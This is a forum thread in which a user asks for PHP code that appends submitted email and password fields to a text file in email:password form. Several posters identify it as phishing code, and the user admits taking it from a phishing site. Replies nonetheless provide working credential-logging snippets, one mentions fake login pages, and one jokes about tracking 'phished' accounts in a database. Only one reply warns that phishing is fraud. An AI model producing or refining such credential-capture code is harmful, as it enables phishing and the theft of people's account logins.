PHP question - REP+ for best answer

wild1

Power Member
Jr. VIP
Joined
Dec 19, 2008
Messages
704
Reaction score
1,101
I have a question,

NOT EVEN SURE IS THE RIGHT SECTION TO ASK THIS, BUT HERE IT GOES

How can I make a code to make it so it could send an email and password to a text file in this order email;password?

i have this code which does it like:
Email:Emailaddress
Pass:Password

this is the code
Code:
$handle = fopen("textfile.txt", "a");
foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

and like I said, i would like it to be Email:Password

REP will be given to best answer

Thanks
 
For me it looks like it will insert it like
Email=emailaddress
Pass=password

You need to make the format before writing it to file. If you ca show how your input is done then i can help you.
 
isn't that an email phishing code?

Lol. Exactly what I was going to say. Looks like the old WOW phishing code that people used to do.

To OP, Are they just submitting a form through a POST request?

PHP:
$email = $_POST['email'];
$pass = $_POST['pass'];
*write to file as you have, with just a \n as a new line*

And ofcourse you would have to switch out your post variables.

You know, Back in those days of phishing, people were noob as hell. You would be better off storing everything in a database, and then being able to pull from that database. Then you can have a whole backend system. So you can do things like mark which ones you have already checked *cough* phished *cough*.
 
Something like that.

PHP:
$email = trim($_POST['email']);
$pass = trim($_POST['pass']);

$data = $email.":".$pass."\r\n";

$fh = fopen("textfile.txt", "a");
fputs($fh,$data);
fclose($fh);
 
I think the idea of the OP code was because unless you were using a gmail form it might not get the post data all at once, or the variable names might be different in the form.
otherwise you could just do this
Code:
$stuff = $_POST["Email"] . ":" . $_POST["Passwd"] . "\r\n\n"; 
$handle = fopen("textfile.txt","a"); 
fwrite($handle,$stuff); 
fclose($handle);

I was thinking modifying the OP code something like this
Code:
$handle = fopen("textfile.txt", "a");
$trigger = "F"
foreach($_POST as $variable => $value) {
      if ($trigger == "F")
            {
            fwrite($handle, $value);
            fwrite($handle, ":");
            }
      else
            {
            fwrite($handle, $value);
            fwrite($handle, "\r\n");
            }
      $trigger="T";
}
fclose($handle);
exit;
?>
I have no idea if this would actually work, I'm not a php programmer yet. I just thought I'd give it a shot. LOL

I don't have any fake login pages to test it out on, and don't really feel like setting one up. I took out the extra linefeed because that was probably only there to put a blank line between each email/password combo. If they are both on just one line then it seems unneccessary.


@OP - I'm not sure what your purpose is for needing this code. There's a difference between blackhat and fraud. Phishing pretty much definately falls on the side of fraud and criminal activity. Maybe you have some legit use for the code, but if you're planning on setting up a phishing site you should steer clear of that. Taking things down that path can potentially end up with jail time. Just something to think about.
 
Last edited:
Great... you give a rep.. if somebody do a job and you don't need to do it... it's funny...
 
I think the idea of the OP code was because unless you were using a gmail form it might not get the post data all at once, or the variable names might be different in the form.
otherwise you could just do this
Code:
$stuff = $_POST["Email"] . ":" . $_POST["Passwd"] . "\r\n\n"; 
$handle = fopen("textfile.txt","a"); 
fwrite($handle,$stuff); 
fclose($handle);

I was thinking modifying the OP code something like this
Code:
$handle = fopen("textfile1.txt", "a");
$trigger = "F"
foreach($_POST as $variable => $value) {
      if ($trigger == "F")
            {
            fwrite($handle, $value);
            fwrite($handle, ":");
            }
      else
            {
            fwrite($handle, $value);
            fwrite($handle, "\r\n");
            }
      $trigger="T";
}
fclose($handle);
exit;
?>
I have no idea if this would actually work, I'm not a php programmer yet. I just thought I'd give it a shot. LOL

I don't have any fake login pages to test it out on, and don't really feel like setting one up. I took out the extra linefeed because that was probably only there to put a blank line between each email/password combo. If they are both on just one line then it seems unneccessary.


@OP - I'm not sure what your purpose is for needing this code. There's a difference between blackhat and fraud. Phishing pretty much definately falls on the side of fraud and criminal activity. Maybe you have some legit use for the code, but if you're planning on setting up a phishing site you should steer clear of that. Taking things down that path can potentially end up with jail time. Just something to think about.


not using for phishing ;)

I did get it from a phishing site but im using it for a different purpose, which im testing right now

I don't like fraud... so i know the difference about BH and fraud
 
not using for phishing ;)

I did get it from a phishing site but im using it for a different purpose, which im testing right now

I don't like fraud... so i know the difference about BH and fraud
cool then :)

So what about my code suggestions. will either of those help?
If not they are on the right track. You foreach loop should run twice. You jsut need it to write the email and ":" the first time and then the pass and "\r\n" the second time. The trigger should work, but you might have to experiment to make it work right.
 
cool then :)

So what about my code suggestions. will either of those help?
If not they are on the right track. You foreach loop should run twice. You jsut need it to write the email and ":" the first time and then the pass and "\r\n" the second time. The trigger should work, but you might have to experiment to make it work right.

they didn't work for me :/

the code from someone who posted earlier did work

gave the REP to him, but will give you REP as well for trying hehe :)
 
they didn't work for me :/

the code from someone who posted earlier did work

gave the REP to him, but will give you REP as well for trying hehe :)
I wasn't asking because of the rep, I just wanted to find out. I'm pretty good with tweaking bits of code, but usually I'm doing it for my own stuff, so I get to test it. It's kind of frustrating to have an idea, but not be able to try it out. LOL
 
I wasn't asking because of the rep, I just wanted to find out. I'm pretty good with tweaking bits of code, but usually I'm doing it for my own stuff, so I get to test it. It's kind of frustrating to have an idea, but not be able to try it out. LOL

lol I know, thats why whenever i have a question i look in the forum to see if someone did ever talk about it or just google it

I know didnt ask for rep, but i gave it to u anyways ;)
 
Back
Top